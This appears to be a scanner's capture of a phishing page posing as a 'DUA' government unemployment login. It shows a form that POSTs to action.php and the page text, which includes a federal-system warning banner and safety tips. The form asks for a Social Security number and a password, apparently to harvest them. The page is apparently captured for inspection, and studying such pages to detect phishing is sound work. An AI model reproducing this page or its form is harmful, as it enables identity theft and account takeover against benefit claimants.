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1 forms found in the DOM

POST action.php

<form method="POST" action="action.php">
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        <div class="x6FDj"><span data-testid="text" class="_1Avq3">I have read and understand the information above. i understand that DUA will verify the information that i provide</span>
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        <h5 class="font_5" style="font-size:16px;"><span style="font-size:16px;">Social Security Number:</span></h5>
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          <input name="s_number" type="number" id="input_comp-l3eo8xly" class="_1SOvY has-custom-focus" value="" placeholder="" required="" aria-required="true" aria-label="">
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        <h5 class="font_5" style="font-size:16px;"><span style="font-size:16px;">Password:</span></h5>
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        <h3 class="font_3" style="font-size:20px;"><span style="font-size:20px;"><span style="color:#FF4040;">*</span></span></h3>
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  <div style="text-align:center;">
    <button type="submit" name="submit" class="button">Next</button>
  </div>
</form>

Text Content

2022
PRINT REVIEW

LOGON


*INDICATES REQUIRED FIELD



                                                                               
              WARNING

This system may contain U.S. Government information, which is restricted to
authorized users ONLY. Unauthorized access, use, misuse, or modification of this
computer system or of the data contained herein or in transit to/from this
system constitutes a violation of Title 18, United States Code, Section 1030,
and may subject the individual to criminal and civil penalties pursuant to Title
26, United States Code, Sections 7213, 7213A (the Taxpayer Browsing Protection
Act), and 7431. This system and equipment are subject to monitoring to ensure
proper performance of applicable security features or procedures. Such
monitoring may result in the acquisition, recording, and analysis of all data
being communicated, transmitted, processed, or stored in this system by a user.
If monitoring reveals possible evidence of criminal activity, such evidence may
be provided to Law Enforcement Personnel.
ANYONE USING THIS SYSTEM EXPRESSLY CONSENTS TO SUCH MONITORING.

.

I have read and understand the information above. i understand that DUA will
verify the information that i provide


SOCIAL SECURITY NUMBER:




*

PASSWORD:




*

Next

PLEASE PROVIDE YOUR SOCIAL SECURITY NUMBER

IF YOU ARE NOT USING YOUR PERSONAL COMPUTER, PLEASE FOLLOW THESE SAFETY TIPS:

 * Log out before you walk away from the computer

 * Do not save your login information

 * Do not save any files or forms to a Public Computer

 * When prompted, always opt to Open a File

 * For more details, please click here.


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